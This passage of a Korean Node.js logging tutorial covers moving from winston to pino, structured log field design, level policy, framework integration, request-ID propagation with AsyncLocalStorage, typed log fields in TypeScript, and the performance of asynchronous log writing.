비용 절감 효과는 없고 편의 기능에 가깝습니다.
그래서 언제 winston 인가 🟡 중급
winston 이 맞는 상황
- 수집기가 없는 환경 — 온프레미스 VM 에 직접 파일을 쓰고 회전시켜야 할 때
- 목적지가 여럿이고 규칙이 다를 때 — error 는 Slack, 나머지는 파일, 감사 로그는 DB
- 이미 winston 으로 돌고 있고 지금 병목이 로깅이 아닐 때 (바꾸는 게 손해)
- 레벨을 커스텀해야 할 때 —
audit·security같은 자체 레벨 정의가 쉽습니다
winston 이면 후회하는 상황
- 초당 수천 줄 이상 — 포맷 체인의 객체 할당이 그대로 지연이 됩니다
- 컨테이너 · 쿠버네티스 — 파일 트랜스포트가 오히려 짐이 됩니다(lg12)
- Fastify — 내장 pino 를 떼어 내고 winston 을 넣는 건 손해입니다
- 원격 트랜스포트로 직접 전송 — 네트워크가 느려지면 앱이 같이 느려집니다
실무에선 이렇게 — winston 에서 pino 로 옮기기 🔴 실무
인터페이스를 먼저 좁히면 교체가 하루 일이 됩니다
// src/log.ts — 앱 코드는 이 타입만 압니다
export interface AppLogger {
debug(fields: Record<string, unknown>, msg: string): void;
info (fields: Record<string, unknown>, msg: string): void;
warn (fields: Record<string, unknown>, msg: string): void;
error(fields: Record<string, unknown>, msg: string): void;
child(fields: Record<string, unknown>): AppLogger;
}
// winston 구현 — 인자 순서를 pino 쪽에 맞춰 뒤집어 줍니다
const wrapWinston = (w: winston.Logger): AppLogger => ({
debug: (f, m) => w.debug(m, f),
info: (f, m) => w.info(m, f),
warn: (f, m) => w.warn(m, f),
error: (f, m) => w.error(m, f),
child: (f) => wrapWinston(w.child(f)),
});
// pino 는 그대로 이 모양입니다 — 나중에 한 줄만 바꾸면 됩니다
// export const log: AppLogger = pino({ ... });
level·time·msg)
③ 스테이징에서 둘 다 켜고 대시보드 쿼리가 똑같이 나오는지 확인
④ 운영에서 스위치. “한 번에 다 바꾸기”가 실패하는 이유는 대개 ②를 건너뛰기 때문입니다.
winston-daily-rotate-file 은 편하지만
여러 프로세스가 같은 파일을 회전시키면 로그가 섞이거나 사라집니다(PM2 클러스터에서 자주 봅니다).
회전은 logrotate 나 컨테이너 런타임에 맡기는 것이 안전합니다.
구조적 로깅 — 필드 설계가 나중의 검색을 정합니다
로그를 JSON 으로 찍는 이유는 예뻐서가 아닙니다. 필드가 곧 검색어이기 때문입니다. 문장 안에 값을 숨기면 그 값으로는 영원히 검색이 안 됩니다. 무엇을 필드로 뺄지가 전부입니다.
같은 사건을 두 가지로 찍어 보기
// ✗ 문장에 값을 녹인 로그 — 사람만 읽을 수 있습니다
log.info(`user u_8821 paid order 8821 in 37ms`);
// · "37ms 이상 걸린 결제"를 찾으려면 정규식을 짜야 합니다
// · 평균 소요 시간을 못 구합니다 (숫자가 아니니까)
// · 문구를 바꾸는 순간 기존 대시보드가 전부 깨집니다
// ○ 구조적 로그 — 기계가 읽습니다
log.info({ userId: 'u_8821', orderId: 8821, durationMs: 37 }, 'order paid');
// · durationMs > 37 같은 조건이 그대로 쿼리가 됩니다
// · msg 는 고정 문구 — 이걸로 사건 종류를 셉니다
// · 나중에 필드를 더해도 기존 쿼리가 안 깨집니다
// ★ 한 걸음 더 — 사건에 이름(event)을 붙이면 문구가 바뀌어도 안전합니다
log.info({ event: 'order.paid', orderId: 8821, durationMs: 37 }, 'order paid');
// msg 는 사람용, event 는 기계용. 대시보드는 event 로 겁니다
이름 규약 — 세 진영과 그 사이
| 뜻 | pino 기본 | ECS(Elastic) | OTel |
|---|---|---|---|
| 시각 | time | @timestamp | Timestamp |
| 레벨 | level | log.level | SeverityText |
| 본문 | msg | message | Body |
| 서비스 | base.service | service.name | service.name |
| 추적 | 직접 넣음 | trace.id | TraceId |
| 에러 | err | error.stack_trace | exception.* |
@elastic/ecs-pino-format 한 줄이면 맞춰집니다),
Grafana Loki 나 자체 파이프라인이면 pino 기본형으로 충분합니다.
중요한 건 일관성이지 특정 표준이 아닙니다.
userId · user_id · uid 로
섞어 쓰기. 수집기에서 서로 다른 필드가 되고,
Elasticsearch 라면 매핑 폭발로 색인이 느려집니다.
필드 사전을 저장소에 파일로 두고 리뷰에서 확인하세요.
레벨 설계 — 환경마다 다른 답 🟡 중급
여섯 레벨의 뜻을 팀에서 합의하기
| 레벨 | 이럴 때 | 누가 보나 |
|---|---|---|
fatal | 프로세스를 더 못 살린다 — 곧 죽는다 | 즉시 호출(페이지) |
error | 이 요청은 실패했고 우리 잘못일 수 있다 | 알림 · 당번 |
warn | 지금은 넘어갔지만 곧 error 가 될 신호 (재시도 성공, 폴백) | 주간 리뷰 |
info | 업무상 사건 — 주문 결제됨, 배포 시작됨 | 조사할 때 |
debug | 개발자가 흐름을 따라가려는 값 | 버그 잡을 때만 |
trace | 한 함수 안의 시시콜콜한 값 | 거의 안 봄 |
error 로 찍는 것.
400·404 는 정상 동작입니다. 이걸 error 로 두면 알림이 계속 울려
진짜 error 를 아무도 안 보게 됩니다.
“내가 고쳐야 할 일인가”가 error 의 기준입니다.
배포 없이 레벨 올리기 · 일부만 자세히 보기
// ① 환경변수 — 가장 기본. 재시작만으로 바뀝니다
const logger = pino({ level: process.env.LOG_LEVEL ?? 'info' });
// ② 신호로 런타임에 바꾸기 — 재시작도 없이
process.on('SIGUSR2', () => {
logger.level = logger.level === 'debug' ? 'info' : 'debug';
logger.warn({ level: logger.level }, 'log level toggled');
});
// $ kill -SIGUSR2 <pid>
// ③ 표본만 자세히 — 1% 요청만 debug 로 (비용을 100분의 1로)
const sampled = Math.random() < 0.01;
const reqLog = logger.child(
{ reqId, sampled },
{ level: sampled ? 'debug' : 'info' }, // 자식 로거만 레벨을 올립니다
);
// ④ 특정 사용자·테넌트만 자세히 — 재현 안 되는 버그를 잡을 때
const verbose = DEBUG_USERS.has(userId);
const userLog = logger.child({ userId }, { level: verbose ? 'trace' : 'info' });
sampled: true 필드를 함께 남겨 두면
대시보드에서 표본 요청만 골라 보기도 됩니다.
실무에선 이렇게 — 필드 사전을 코드로 두기 🔴 실무
이름을 파일 하나에 모으면 오타가 컴파일 에러가 됩니다
// src/log-fields.ts — 팀의 필드 사전. 리뷰는 이 파일만 보면 됩니다.
export const FIELD = {
reqId: 'reqId', // 요청 하나를 잇는 ID (lg07)
traceId: 'traceId', // 분산 추적 ID (lg12)
userId: 'userId', // 내부 식별자만. 이메일·전화번호 금지 (lg10)
tenantId: 'tenantId',
event: 'event', // 'order.paid' 같은 사건 이름
durationMs: 'durationMs', // ★ 단위를 이름에 붙입니다. ms 인지 s 인지 헷갈리지 않게
statusCode: 'statusCode',
component: 'component', // 'db' | 'http' | 'queue'
} as const;
// 사건 이름도 목록으로 — 대시보드가 이 목록 위에 세워집니다
export const EVENT = [
'order.created', 'order.paid', 'order.cancelled',
'payment.failed', 'payment.retried',
'user.login', 'user.login_failed',
] as const;
export type Event = (typeof EVENT)[number];
duration 이 아니라 durationMs,
size 가 아니라 sizeBytes.
6개월 뒤 대시보드를 만드는 사람은 여러분이 아닙니다.
프레임워크 연동 — 붙이는 자리는 어디나 같습니다
Express · Fastify · NestJS · Next.js — 이름은 달라도 로거를 붙이는 자리는 셋뿐입니다. 요청 진입 · 요청 스코프 로거 · 응답 완료. 프레임워크마다 그 자리의 이름만 다릅니다.
Express — pino-http 한 줄
npm i pino pino-http
import express from 'express';
import pinoHttp from 'pino-http';
import { randomUUID } from 'node:crypto';
import { logger } from './logger.js';
const app = express();
app.use(pinoHttp({
logger,
// ① 요청 ID — 앞단(로드밸런서·게이트웨이)이 준 것을 최대한 이어받습니다
genReqId: (req, res) => {
const id = req.headers['x-request-id'] ?? randomUUID();
res.setHeader('x-request-id', String(id)); // 응답에도 돌려줍니다
return String(id);
},
// ② 상태코드에 따라 레벨을 다르게 — 404 를 error 로 두지 않습니다
customLogLevel: (req, res, err) => {
if (err || res.statusCode >= 500) return 'error';
if (res.statusCode >= 400) return 'warn';
if (req.url === '/healthz') return 'silent'; // ★ 헬스체크는 버립니다
return 'info';
},
// ③ 남길 것만 남깁니다 (전체 req 를 찍으면 헤더가 통째로 샙니다 — lg10)
serializers: {
req: (req) => ({ method: req.method, url: req.url }),
res: (res) => ({ statusCode: res.statusCode }),
},
}));
app.get('/orders/:id', (req, res) => {
req.log.info({ orderId: req.params.id }, 'order fetched'); // ★ req.log
res.json({ ok: true });
});
morgan 은 접근 로그 전용입니다 —
morgan('combined') 이 만드는 건 아파치 형식의 한 줄 텍스트라
JSON 이 아니고, 애플리케이션 로그와 ID 로 이어지지도 않습니다.
옛 프로젝트에서 만나면 pino-http 로 대체하는 게 맞습니다.
굳이 둘 다 쓰면 같은 요청이 두 줄로 남아 비용만 늘어납니다.
Fastify — 이미 들어 있습니다
import Fastify from 'fastify';
const app = Fastify({
logger: {
level: process.env.LOG_LEVEL ?? 'info',
// 개발에서만 예쁘게
transport: process.env.NODE_ENV !== 'production'
? { target: 'pino-pretty' } : undefined,
},
genReqId: (req) => String(req.headers['x-request-id'] ?? crypto.randomUUID()),
disableRequestLogging: false, // 기본 접근 로그를 끄고 직접 만들 수도 있습니다
});
app.get('/orders/:id', async (req, reply) => {
req.log.info({ orderId: (req.params as any).id }, 'order fetched');
// ↑ 이미 reqId 가 붙은 자식 로거입니다. 설정할 게 없습니다
return { ok: true };
});
// 앱 전역 로거도 같은 인스턴스입니다
app.log.warn({ port: 3000 }, 'starting');
NestJS — nestjs-pino
// app.module.ts
import { LoggerModule } from 'nestjs-pino';
@Module({
imports: [LoggerModule.forRoot({
pinoHttp: {
level: process.env.LOG_LEVEL ?? 'info',
genReqId: (req) => String(req.headers['x-request-id'] ?? randomUUID()),
autoLogging: { ignore: (req) => req.url === '/healthz' },
},
})],
})
export class AppModule {}
// main.ts — Nest 기본 로거를 갈아 끼웁니다
const app = await NestFactory.create(AppModule, { bufferLogs: true });
app.useLogger(app.get(Logger));
// 서비스 어디서나 주입해서 씁니다 — reqId 가 자동으로 붙습니다
@Injectable()
export class OrderService {
constructor(private readonly log: PinoLogger) {}
pay(id: string) { this.log.info({ orderId: id }, 'order paid'); }
}
Logger 는 개발용입니다 — 색이 들어간 텍스트를 찍습니다.
bufferLogs: true 로 부팅 로그까지 pino 로 넘기는 것이 요령입니다.
이걸 빼면 시작 직후의 로그만 형식이 다릅니다.
Next.js — 런타임이 셋이라 답도 셋입니다 🔴 실무
어디서 도는 코드인지부터 확인
| 실행 위치 | pino 되나 | 답 |
|---|---|---|
| 서버 컴포넌트 · Route Handler | 됩니다 | pino 그대로. 단 transport 는 신중히 |
| Server Action | 됩니다 | 같은 로거 재사용 |
| 미들웨어(엣지) | 안 됩니다 | 구조를 맞춘 console.log |
| Edge Runtime route | 안 됩니다 | 같은 이유 — worker_threads·fs 없음 |
| 클라이언트 컴포넌트 | — | 브라우저 로깅(lg11) |
npm i server-only 후 로거 파일 맨 위에 import 'server-only'
한 줄을 두면 실수하는 순간 빌드가 막아 줍니다.
엣지에서 쓸 수 있는 최소 로거
// src/edge-logger.ts — 의존성 0. 어디서나 돕니다
type Level = 'debug' | 'info' | 'warn' | 'error';
const ORDER: Record<Level, number> = { debug: 20, info: 30, warn: 40, error: 50 };
const MIN = ORDER[(process.env.LOG_LEVEL as Level) ?? 'info'];
export function elog(level: Level, fields: Record<string, unknown>, msg: string) {
if (ORDER[level] < MIN) return; // 레벨 조기 반환
const line = JSON.stringify({
level, time: new Date().toISOString(), msg,
service: 'web', env: process.env.VERCEL_ENV, ...fields,
});
// 엣지에는 stdout 이 없습니다 — 플랫폼이 console 을 수집합니다
(level === 'error' || level === 'warn' ? console.error : console.log)(line);
}
// middleware.ts (엣지 런타임. Next 16 의 proxy.ts 는 Node 런타임이라 pino 를 그대로 씁니다)
export function middleware(req: NextRequest) {
const reqId = req.headers.get('x-request-id') ?? crypto.randomUUID();
elog('info', { reqId, path: req.nextUrl.pathname }, 'edge request');
// ★ 아래 런타임(라우트·서버 컴포넌트)으로 넘기려면 "요청" 헤더를 바꿔야 합니다
const headers = new Headers(req.headers);
headers.set('x-request-id', reqId);
const res = NextResponse.next({ request: { headers } });
res.headers.set('x-request-id', reqId); // 응답 헤더 — 브라우저에게 돌려주는 쪽
return res;
}
console.log 로 찍으면 수집기 입장에서는 pino 와 구별되지 않습니다.
로거 라이브러리가 아니라 출력 형식이 계약입니다.
pino-http, Fastify 는 내장, Nest 는 nestjs-pino,
Next.js 는 런타임부터 확인하고 엣지에서는 형식만 맞춘 console 로 갑니다.요청 추적 — AsyncLocalStorage 로 ID 를 자동으로 붙입니다
요청 ID 를 함수 인자로 계속 나르는 코드는 세 번째 계층에서 무너집니다. Node 는 “지금 처리 중인 요청”을 비동기 호출을 따라 들고 다니는 저장소를 표준으로 제공합니다.
저장소 만들기 — 표준 모듈, 의존성 0
// src/request-context.ts
import { AsyncLocalStorage } from 'node:async_hooks';
export interface RequestContext {
reqId: string;
userId?: string;
traceId?: string;
spanId?: string;
}
const als = new AsyncLocalStorage<RequestContext>();
/** 이 콜백 안에서 일어나는 모든 비동기 작업이 같은 문맥을 봅니다 */
export function runWithContext<T>(ctx: RequestContext, fn: () => T): T {
return als.run(ctx, fn);
}
/** 어디서든 꺼내 씁니다. 문맥 밖이면 undefined */
export const getContext = () => als.getStore();
/** 처리 도중에 알게 된 값을 덧붙이기 (로그인 후 userId 등) */
export function setContext(patch: Partial<RequestContext>) {
const cur = als.getStore();
if (cur) Object.assign(cur, patch); // ★ 같은 객체를 고칩니다. 새로 run 하지 않습니다
}
await·setTimeout·이벤트 콜백을 만들 때
지금의 문맥을 함께 기억해 둡니다. 그래서 몇 겹을 들어가도 같은 저장소가 보입니다.
Node 22~24 를 거치며 내부 구현이 바뀌어 비용이 크게 줄었습니다 —
예전에 “ALS 는 느리다”고 들은 이야기는 대부분 낡은 정보입니다.
로거에 붙이기 — mixin 한 줄
// src/logger.ts
import pino from 'pino';
import { getContext } from './request-context.js';
export const logger = pino({
level: process.env.LOG_LEVEL ?? 'info',
base: { service: 'checkout-api', env: process.env.NODE_ENV },
// ★ 줄을 쓸 때마다 호출됩니다 — 여기서 문맥을 꺼내 붙입니다
mixin() {
const ctx = getContext();
return ctx ? { reqId: ctx.reqId, userId: ctx.userId, traceId: ctx.traceId } : {};
},
});
// 이제 앱 어디서든 그냥 이렇게 씁니다
logger.info({ orderId: 8821 }, 'order paid');
// → { ..., reqId: "req_01J8Q", userId: "u_8821", orderId: 8821, msg: "order paid" }
// Express 에 연결
app.use((req, res, next) => {
const reqId = String(req.headers['x-request-id'] ?? randomUUID());
res.setHeader('x-request-id', reqId);
runWithContext({ reqId }, () => next()); // ★ next() 를 감싸는 것이 핵심
});
// Fastify
app.addHook('onRequest', (req, reply, done) => {
runWithContext({ reqId: req.id }, () => done());
});
// NestJS — 미들웨어로 같은 모양
export class ContextMiddleware implements NestMiddleware {
use(req: Request, res: Response, next: NextFunction) {
runWithContext({ reqId: String(req.headers['x-request-id'] ?? randomUUID()) },
() => next());
}
}
mixin 과 child 중 무엇을 쓰나 —
문맥을 로거 인스턴스를 넘기지 않고 쓰고 싶으면 mixin,
로거를 명시적으로 넘길 수 있으면 child 가 더 빠릅니다(고정 필드를 미리 굳혀 두므로).
실무에서는 둘을 같이 씁니다 — 요청 로거는 child, 깊은 곳은 mixin.
문맥이 사라지는 자리 — 여기서만 조심하면 됩니다 🟡 중급
끊기는 네 가지 경우
// ① 서버 시작 시 한 번 만든 타이머·구독 — 애초에 문맥 밖입니다
setInterval(() => logger.info('heartbeat'), 60_000); // reqId 없음. 정상입니다
// ② 요청 밖으로 "떠난" 작업 — 응답을 보내고 나서도 도는 코드
app.post('/orders', (req, res) => {
res.json({ ok: true });
queueMicrotask(() => heavyAudit()); // 문맥은 살아 있습니다(같은 비동기 사슬)
setTimeout(() => heavyAudit(), 0); // 이것도 살아 있습니다
});
// ③ ✗ 진짜로 끊기는 곳 — 다른 사슬에 등록된 콜백
const emitter = new EventEmitter(); // 앱 시작 때 만든 객체
emitter.on('done', () => logger.info('x')); // ← emit 을 부른 쪽의 문맥을 씁니다
// (라이브러리 내부 콜백에서 emit 되면 =없음, 남의 요청에서 emit 되면 =남의 reqId)
// 해결: 값을 미리 꺼내서 클로저에 담습니다
const { reqId } = getContext() ?? {};
emitter.on('done', () => logger.info({ reqId }, 'x'));
// ④ ✗ 워커 스레드 · 자식 프로세스 — 메모리를 공유하지 않습니다
worker.postMessage({ reqId, payload }); // 값으로 직접 넘겨야 합니다
한 줄로 요청 전체를 되짚기
# 장애 신고: "결제가 안 됐어요. 오후 3시 12분쯤"
# ① 사용자에게 응답 헤더의 x-request-id 를 물어봅니다 (또는 에러 화면에 표시)
# ② 그 ID 하나로 전 구간을 긁습니다
# Loki (LogQL)
{service="checkout-api"} | json | reqId="req_01J8QK4T9"
# OpenSearch / Elasticsearch
GET logs-*/_search
{ "query": { "term": { "reqId": "req_01J8QK4T9" } },
"sort": [{ "time": "asc" }] }
# 그냥 파일이라면
jq -c 'select(.reqId=="req_01J8QK4T9")' app.log
x-request-id(또는 traceparent)를 붙여 보냅니다.
있으면 쓰고 없으면 만드는 것이 규칙입니다.
새로 만들어 버리면 앞단 로그와 이어지지 않습니다.
실무에선 이렇게 — 여러 서비스를 하나로 잇기 🔴 실무
우리 서비스가 다른 서비스를 부를 때 ID 를 함께 보냅니다
// src/http-client.ts — 모든 바깥 호출이 이 함수를 거치게 합니다
import { getContext } from './request-context.js';
import { logger } from './logger.js';
export async function call(url: string, init: RequestInit = {}) {
const ctx = getContext();
const t0 = performance.now();
const headers = new Headers(init.headers);
if (ctx?.reqId) headers.set('x-request-id', ctx.reqId); // ★ 그대로 전달
if (ctx?.traceId && ctx.spanId) headers.set('traceparent', // span ID 가 0 뿐이면 무효
`00-${ctx.traceId}-${ctx.spanId}-01`); // W3C Trace Context
try {
const res = await fetch(url, { ...init, headers });
logger.info({
event: 'http.call', url, statusCode: res.status,
durationMs: Math.round(performance.now() - t0),
}, 'outbound call');
return res;
} catch (err) {
logger.error({ event: 'http.call_failed', url, err }, 'outbound call failed');
throw err;
}
}
@opentelemetry/api 의 trace.getActiveSpan()?.spanContext() 에서
traceId·spanId 를 꺼내 mixin 에 넣으면
로그와 트레이스가 대시보드에서 한 번에 이어집니다(lg12).
OTel 도 내부적으로 같은 비동기 문맥 전파를 씁니다.
AsyncLocalStorage 로 요청 문맥을 담고
pino 의 mixin 으로 꺼내 붙이면 reqId 를 인자로 나를 필요가 없습니다.
끊기는 곳은 서버 시작 때 만든 객체의 콜백과 워커 스레드뿐입니다.TypeScript — 로그도 타입으로 잠글 수 있습니다
로그 필드는 공개 API입니다. 그런데 대부분 Record<string, any> 로 열어 두고
오타를 6개월 뒤 대시보드에서 발견합니다. 컴파일러에게 시키면 될 일입니다.
any 로 두지는 않잖아요.레벨과 사건 이름을 리터럴 유니온으로
// src/log-types.ts
export type Level = 'trace' | 'debug' | 'info' | 'warn' | 'error' | 'fatal';
// 사건 이름 목록 — 대시보드가 이 위에 세워집니다
export const EVENTS = [
'order.created', 'order.paid', 'order.cancelled',
'payment.failed', 'payment.retried',
'user.login', 'user.login_failed',
'http.call', 'http.call_failed',
] as const;
export type Event = (typeof EVENTS)[number];
// 필드 사전 — 여기 없는 키는 못 넣습니다
export interface LogFields {
event?: Event;
reqId?: string;
traceId?: string;
userId?: string; // ★ 내부 식별자만. 이메일이 들어오면 lg10 의 사고
orderId?: number;
statusCode?: number;
durationMs?: number; // 단위를 이름에 (lg05)
component?: 'db' | 'http' | 'queue' | 'cache';
err?: unknown;
}
// 타입 안전한 얇은 래퍼
import { logger } from './logger.js';
export const log = {
info : (f: LogFields, msg: string) => logger.info(f, msg),
warn : (f: LogFields, msg: string) => logger.warn(f, msg),
error: (f: LogFields, msg: string) => logger.error(f, msg),
debug: (f: LogFields, msg: string) => logger.debug(f, msg),
};
log.info({ event: 'order.paid', orderId: 8821, durationMs: 37 }, 'order paid');
log.info({ userid: 1 }, 'x'); // ✗ 컴파일 에러 — 'userid' 는 LogFields 에 없습니다
log.info({ event: 'order.payed' }, 'x'); // ✗ 오타가 여기서 잡힙니다
const f = { userid: 1 }; log.info(f, 'x') 는 통과합니다.
그래서 로그 필드는 변수에 담지 말고 그 자리에서 리터럴로 넘기는 습관이 유리합니다.
pino 의 타입을 제대로 쓰기
import pino from 'pino';
// ① 커스텀 레벨을 제네릭으로 알려 주면 자동완성에 나옵니다
const logger = pino<'audit' | 'security'>({
customLevels: { audit: 35, security: 45 },
useOnlyCustomLevels: false,
});
logger.audit({ actor: 'u_1' }, 'permission changed'); // ○ 타입이 압니다
logger.aduit({}, 'x'); // ✗ 컴파일 에러
// ② 자식 로거의 타입은 그대로 이어집니다
type AppLogger = pino.Logger<'audit' | 'security'>;
export function makeReqLogger(reqId: string): AppLogger {
return logger.child({ reqId });
}
// ③ 직렬화기에도 타입을 답니다 — any 를 두면 여기가 구멍이 됩니다
const logger2 = pino({
serializers: {
err: pino.stdSerializers.err,
req: (req: { method: string; url: string }) => ({ method: req.method, url: req.url }),
},
});
// ④ 로그로 나가면 안 되는 타입을 타입 시스템으로 막기 (lg10 의 예방책)
// ※ string & { 브랜드 } 는 여전히 string 이라 아래 검사를 통과해 버립니다 — 객체로 감쌉니다
export class Secret<T> {
readonly #value: T;
constructor(v: T) { this.#value = v; }
reveal(): T { return this.#value; } // 꺼낼 때는 이름이 드러나게
toJSON() { return '[REDACTED]'; } // 그래도 새면 런타임에서 한 번 더 가립니다
}
export const asSecret = <T,>(v: T) => new Secret(v);
interface SafeFields { [k: string]: string | number | boolean | undefined }
function safeLog(f: SafeFields, msg: string) { logger.info(f, msg); }
const token = asSecret('eyJhbGciOi...');
safeLog({ token }, 'x'); // ✗ Secret<string> 은 SafeFields 에 안 맞습니다
한 단계 더 — 사건마다 필요한 필드를 강제하기 🟡 중급
“결제 실패 로그에는 orderId 가 반드시 있어야 한다”를 타입으로
// 사건별로 필요한 필드를 묶습니다 (판별 유니온)
type LogEvent =
| { event: 'order.paid'; orderId: number; durationMs: number }
| { event: 'payment.failed'; orderId: number; reason: string; err?: unknown }
| { event: 'user.login'; userId: string }
| { event: 'user.login_failed'; reason: 'bad_password' | 'locked' | 'unknown' };
// 공통 필드는 자동으로 붙으니(mixin) 여기엔 사건 고유 필드만 둡니다
export function event(e: LogEvent, msg?: string) {
const { event, ...rest } = e;
logger.info({ event, ...rest }, msg ?? event);
}
event({ event: 'order.paid', orderId: 8821, durationMs: 37 }); // ○
event({ event: 'payment.failed', orderId: 8821 }); // ✗ reason 이 없습니다
event({ event: 'user.login_failed', reason: 'expired' }); // ✗ 허용된 값이 아닙니다
// 대시보드 쪽 쿼리도 같은 타입에서 만들 수 있습니다
export const EVENT_NAMES = [
'order.paid', 'payment.failed', 'user.login', 'user.login_failed',
] as const satisfies readonly LogEvent['event'][];
// ★ satisfies — 목록에 오타·없는 사건 이름이 들어가면 여기서 컴파일이 막습니다
// (빠진 사건은 satisfies 로는 못 잡습니다 — 빠짐까지 막으려면 한 줄 더)
type Missing = Exclude<LogEvent['event'], (typeof EVENT_NAMES)[number]>;
const _allEvents: [Missing] extends [never] ? true : Missing = true; // 빠지면 에러
성능 — 동기 쓰기는 이벤트 루프를 멈춥니다
Node 는 스레드가 하나입니다. 로그 한 줄을 디스크에 다 쓸 때까지 기다리는 동안 그 프로세스의 다른 요청도 전부 기다립니다. 로깅 성능 이야기는 결국 “그 기다림을 어디로 치우나”입니다.
직접 재기 — 이벤트 루프 지연을 숫자로
// bench-log.ts — 같은 줄 10만 개를 세 방식으로 쓰고 루프 지연을 잽니다
import { monitorEventLoopDelay } from 'node:perf_hooks';
import pino from 'pino';
const N = 100_000;
const line = { orderId: 8821, userId: 'u_8821', durationMs: 37 };
async function run(name: string, logger: pino.Logger) {
const h = monitorEventLoopDelay({ resolution: 5 }); // 5ms 간격으로 루프 지연 표본
h.enable();
const t0 = performance.now();
for (let i = 0; i < N; i++) logger.info(line, 'order paid');
const wall = performance.now() - t0;
await new Promise((r) => setTimeout(r, 50)); // 표본이 잡히도록 잠깐
h.disable();
console.error(`${name.padEnd(16)} ${wall.toFixed(0).padStart(5)} ms ` +
`p99 루프지연 ${(h.percentile(99) / 1e6).toFixed(1)} ms`);
}
// ① 파일에 동기로 — 가장 느리고, 루프가 가장 오래 멈춥니다
await run('file sync', pino(pino.destination({ dest: './a.log', sync: true })));
// ② 파일에 비동기 버퍼로 — sonic-boom 이 4KB 씩 모아서 씁니다
await run('file async', pino(pino.destination({ dest: './b.log', sync: false, minLength: 4096 })));
// ③ 워커 스레드 트랜스포트 — 메인 스레드는 큐에 넣기만 합니다
await run('transport', pino({ transport: { target: 'pino/file', options: { destination: './c.log' } } }));
// $ npx tsx bench-log.ts ← 세 줄의 숫자를 여러분 환경에서 보세요
p99 루프지연 이 요청 지연에 그대로 얹히는 숫자입니다.
쓰기 방식 네 가지 — 무엇을 얻고 무엇을 잃나
| 방식 | 루프 정지 | 죽을 때 유실 | 언제 |
|---|---|---|---|
sync: true (직접 켤 때) | 줄마다 — 목적지가 빠르면 짧게 | 없음 | stdout 으로 나가는 컨테이너 · 짧은 CLI |
sync: false + minLength | 버퍼가 찰 때만 | 버퍼만큼 (flush 로 막음) | 파일에 직접 쓰는 VM 서버 |
transport (워커) | 거의 없음 | 워커 큐만큼 | 포맷·전송 비용이 클 때(원격·pretty) |
console.log → 파일 리다이렉트 | 줄마다 · 길게 | 없음 | 운영에서는 쓰지 않습니다(lg01) |
pino() 의 기본 목적지는 sync: false ·
minLength: 0 인 sonic-boom 입니다. 모아 두지 않고 곧바로 비동기 write 를 걸기 때문에
루프가 거의 멈추지 않고, 죽을 때 잃는 것도 진행 중인 write 만큼으로 작습니다(정상 종료 때는 pino 가 알아서 비웁니다).
그래서 컨테이너에서는 기본값 그대로가 제일 단순하며, 파일에 직접 쓸 때만 minLength 로 더 모을지 고민합니다.
kill -9 나 OOM 으로 죽을 때 마지막 몇 줄이 사라집니다.
그 마지막 줄이 대개 “왜 죽었는지”입니다. SIGTERM 에서 flush 하는 코드(lg03)가
그래서 필요합니다.
한 단계 더 — 뒤가 막히면 앞이 멈춥니다 (백프레셔) 🟡 중급
stdout 을 읽는 쪽이 느려지면
# 앱 → 파이프 → 컨테이너 로그 드라이버 → 파일. 이 사슬 어디가 막혀도
# 커널 버퍼(64KB)가 차는 순간 앱의 write 가 블록됩니다.
# 증상: 로그를 많이 찍는 순간 요청 지연이 톱니처럼 뜁니다
# Docker: 드라이버를 논블로킹으로 — 버퍼가 차면 앱을 막는 대신 줄을 버립니다
docker run --log-driver json-file \
--log-opt mode=non-blocking --log-opt max-buffer-size=4m \
--log-opt max-size=50m --log-opt max-file=5 my-api
# Kubernetes 는 kubelet 이 파일로 받습니다 — 회전은 kubelet 설정으로
# containerLogMaxSize: 50Mi
# containerLogMaxFiles: 5
# 확인: 동기 I/O 가 어디서 일어나는지 스택을 찍어 줍니다 (첫 tick 이후만)
node --trace-sync-io dist/main.js 2>&1 | head -n 40
mode=non-blocking 은 “유실을 택한다”는 선언입니다.
“앱이 느려지느니 로그 몇 줄을 버리겠다”가 맞는 서비스가 대부분이지만,
감사 로그·결제 기록처럼 한 줄도 잃으면 안 되는 것은 로그가 아니라
DB 나 큐에 써야 합니다. 로그 파이프라인은 최선 노력(best-effort) 전달입니다.
앱 안에서 버퍼를 다루기 — sonic-boom 손잡이
import pino from 'pino';
const dest = pino.destination({
dest: '/var/log/app/app.log',
sync: false,
minLength: 4096, // 이만큼 모이면 씁니다 (그 전엔 메모리)
maxLength: 16_777_216, // 16MB 넘게 쌓이면 새 줄을 버리고 'drop' 을 냅니다
mkdir: true,
});
// ★ 버려지는 순간을 알아야 합니다 — 조용히 사라지면 나중에 아무도 모릅니다
let dropped = 0;
dest.on('drop', () => { dropped++; });
setInterval(() => {
if (dropped) { logger.warn({ dropped }, 'log lines dropped'); dropped = 0; }
}, 10_000).unref();
const logger = pino(dest);
// 주기적으로 밀어내기 — 트래픽이 적을 때 마지막 줄이 버퍼에 갇히지 않게
setInterval(() => logger.flush(), 1_000).unref();
minLength 는 지연과 맞바꾸는 값입니다 — 4KB 면 초당 수십 줄짜리 서비스에서
마지막 줄이 몇 초 늦게 나타날 수 있습니다. 그래서 flush 타이머를 같이 둡니다.
unref() 를 붙여야 이 타이머 때문에 프로세스가 안 끝나는 일이 없습니다.
실무에선 이렇게 — 핫 패스에서 로그를 다루는 규칙 🔴 실무
초당 만 번 도는 함수 안이라면
// ① 인자를 만들기 전에 레벨을 봅니다 — 꺼진 레벨이면 객체도 안 만듭니다
if (logger.isLevelEnabled('debug')) {
logger.debug({ rows: rows.length, sample: rows.slice(0, 3) }, 'batch loaded');
}
// ② 루프 안에서는 세지 말고 모읍니다 — 만 줄 대신 한 줄
let retried = 0;
for (const job of jobs) {
try { await run(job); }
catch { retried++; } // ✗ 여기서 logger.warn 을 찍으면 만 줄이 됩니다
}
if (retried) logger.warn({ retried, total: jobs.length }, 'jobs retried');
// ③ 큰 객체는 통째로 넘기지 않습니다 — 직렬화 비용이 곧 루프 정지 시간
logger.info({ orderId: order.id, items: order.items.length }, 'order'); // ○
logger.info({ order }, 'order'); // ✗ 200KB 짜리 JSON
// ④ 요청당 접근 로그는 한 줄 — 시작·끝 두 줄이면 저장 비용이 두 배
// pino-http 의 autoLogging 이 이미 "끝날 때 한 줄" 입니다 (lg06)
// ⑤ 자주 찍는 줄은 자식 로거로 고정 필드를 미리 굳힙니다 (lg03)
const wl = logger.child({ component: 'worker', queue: 'email' });
LOG_LEVEL=silent 로 한 번 돌려서
처리량이 얼마나 변하는지 봅니다. 10% 미만이면 로깅은 범인이 아닙니다.
